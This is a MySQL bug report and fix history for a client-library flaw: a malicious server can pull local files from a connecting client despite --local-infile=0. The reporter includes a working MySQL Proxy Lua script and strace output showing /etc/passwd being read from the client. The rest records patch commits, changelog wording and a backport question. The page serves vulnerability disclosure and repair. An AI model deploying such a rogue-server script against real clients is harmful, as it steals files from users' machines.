Bug #29605 --local-infile=0 checks can be bypassed by sending a FETCH LOCAL FILE response
Submitted: 6 Jul 2007 18:55 Modified: 17 Apr 2008 16:40
Reporter: Jan Kneschke Email Updates:
Status: Closed Impact on me:
None 
Category:MySQL Server: C API (client library) Severity:S3 (Non-critical)
Version:any OS:Any
Assigned to: Andrey Hristov CPU Architecture:Any
Triage: D1 (Critical)

[6 Jul 2007 18:55] Jan Kneschke
Description:
At

http://dev.mysql.com/doc/refman/5.0/en/load-data-local.html

the security impact of LOAD DATA INFILE LOCAL is described. The option to disable the support in the client is --local-infile=0.

This option is transfered as part of the handshake and tells the server to deny all LOCAL requests for this client.

As the check is done on the server and not on the client, a fake server can read all files the client has access too, if the client can be tricked to access the fake server.

It is assumed that all client libs are affected: C, mysqlnd (PHP), ...

How to repeat:
Take the MySQL proxy from SVN and run:

$ lua tests/run-tests.lua tests/t/bug-select-local.test

The test case is:

1) receive command from the client
2) send a FETCH LOCAL FILE request 
3) receive file

The command the client sends doesn't matter, here we use a SELECT.

-- code --

local in_load_data = 0;

function read_query(packet)
  if in_load_data == 0 then
    if packet:byte() ~= proxy.COM_QUERY then return end

    if packet:sub(2) == "SELECT LOCAL(\"/etc/passwd\")" then
      proxy.response.type = proxy.MYSQLD_PACKET_RAW
      proxy.response.packets = {
        "\251/etc/passwd"
      }

      in_load_data = 1

      return proxy.PROXY_SEND_RESULT
    end
  else
    -- we should get data from the client now
    print(packet)

    in_load_data = 0

    proxy.response.type = proxy.MYSQLD_PACKET_RAW
    proxy.response.packets = {
      "\0" ..        -- field-count 0
      "\0" ..        -- affected rows
      "\0" ..        -- insert-id
      "\002\0" ..    -- server-status
      "\0\0" ..      -- warning-count
      string.char(27) .. "/etc/passwd has been stolen"
    }

    return proxy.PROXY_SEND_RESULT
  end
end

A strace shows:

write(3, "!\0\0\0\3select @@version_comment li"..., 37) = 37
read(3, "\1\0\0\1\1\'\0\0\2\3def\0\0\0\21@@version_comme"..., 16384) = 99
write(3, "\34\0\0\0\3SELECT LOCAL(\"/etc/passwd\")", 32) = 32
read(3, "\f\0\0\1\373/etc/passwd", 16384) = 16
write(3, "\327\5\0\2at:x:25:25:Batch jobs daemon"..., 1503) = 1503
read(3, "\35\0\0\3\0\0\0\2\0\0\0/etc/passwd got stole"..., 16384) = 33

Suggested fix:
Enforce --local-infile on client-side, but sending an error in case the 0xfb (see the \373/etc/passwd) is received.
[17 Dec 2007 16:52] Bugs System
A patch for this bug has been committed. After review, it may
be pushed to the relevant source trees for release in the next
version. You can access the patch from:

  http://lists.mysql.com/commits/40099

ChangeSet@1.2647, 2007-12-17 17:51:22+01:00, andrey@whirlpool.hristov.com +6 -0
  Fix for bug#29605 
  (--local-infile=0 checks can be bypassed by sending a FETCH LOCAL FILE response)
  The query sent to the server is checked whether it's a LOAD DATA LOCAL INFILE in case
  the server sends a request to the client to send a local file.
[17 Dec 2007 17:07] Bugs System
A patch for this bug has been committed. After review, it may
be pushed to the relevant source trees for release in the next
version. You can access the patch from:

  http://lists.mysql.com/commits/40101

ChangeSet@1.2647, 2007-12-17 18:02:44+01:00, andrey@whirlpool. +6 -0
  Fix for bug#29605 
  (--local-infile=0 checks can be bypassed by sending a FETCH LOCAL FILE response)
  The query sent to the server is checked whether it's a LOAD DATA LOCAL INFILE in case
  the server sends a request to the client to send a local file.
[12 Feb 2008 16:49] Bugs System
A patch for this bug has been committed. After review, it may
be pushed to the relevant source trees for release in the next
version. You can access the patch from:

  http://lists.mysql.com/commits/42112

ChangeSet@1.2518, 2008-02-12 18:49:03+02:00, andrey@whirlpool.hristov.com +3 -0
  Fix for Bug#29605
  --local-infile=0 checks can be bypassed by sending a FETCH LOCAL FILE response
  
  Add a check for CLIENT_LOCAL_FILES before sending a local file.
  Beware, that all binary distributions enable sending of local files and it's up
  to the programs which use libmysql to disable it, if they don't use this functionality.
  Otherwise they are not safe.
[21 Feb 2008 18:35] Konstantin Osipov
OK to push.
[22 Feb 2008 17:45] Bugs System
A patch for this bug has been committed. After review, it may
be pushed to the relevant source trees for release in the next
version. You can access the patch from:

  http://lists.mysql.com/commits/42855

ChangeSet@1.2576, 2008-02-22 18:45:45+01:00, andrey@whirlpool.hristov.com +3 -0
  Fix for Bug#29605
  --local-infile=0 checks can be bypassed by sending a FETCH LOCAL FILE response
    
  Add a check for CLIENT_LOCAL_FILES before sending a local file.
  Beware, that all binary distributions enable sending of local files and it's up
  to the programs which use libmysql to disable it, if they don't use this functionality.
  Otherwise they are not safe.
[22 Feb 2008 21:32] Andrey Hristov
Queued to 5.1-runtime
[3 Mar 2008 18:19] Bugs System
Pushed into 5.1.24-rc
[3 Mar 2008 18:19] Bugs System
Pushed into 6.0.5-alpha
[30 Mar 2008 17:34] Jon Stephens
Fix also available in 5.1.23-ndb-6.3.11.
[17 Apr 2008 16:40] Paul Dubois
Noted in 5.1.24, 6.0.5 changelogs.

A client that connects to a malicious server could be tricked by the
server into sending files from the client host to the server. This
occurs because the libmysqlclient client library would respond to a
FETCH LOCAL FILE request from the server even if the request is sent
for statements from the client other than LOAD DATA LOCAL INFILE. The
client library has been modified to respond to a FETCH LOCAL FILE
request from the server only if is is sent in response to a LOAD DATA
LOCAL INFILE statement from the client.

The client library now also checks whether CLIENT_LOCAL_FILE is set
and refuses to send a local file if not.

Binary distributions ship with the local-infile capability enabled.
Applications that do not use this functionality should disable it to
be safe.
[22 Jun 2009 9:49] Peter Edwards
I was wondering why this bug patch hadn't made it into 5.0.*
(it did make it into MySQL Connector/J 5.0.7)
I read:
  http://www.mysql.com/about/legal/lifecycle/
but I still wasn't sure given the release notes for 5.0.*
  http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html
(and the bugs fixed) why this bug patch has not been applied to 5.0.*
I noticed the Target Version in this bug is 5.1+, but 5.0 is also
vulnerable.  Thanks.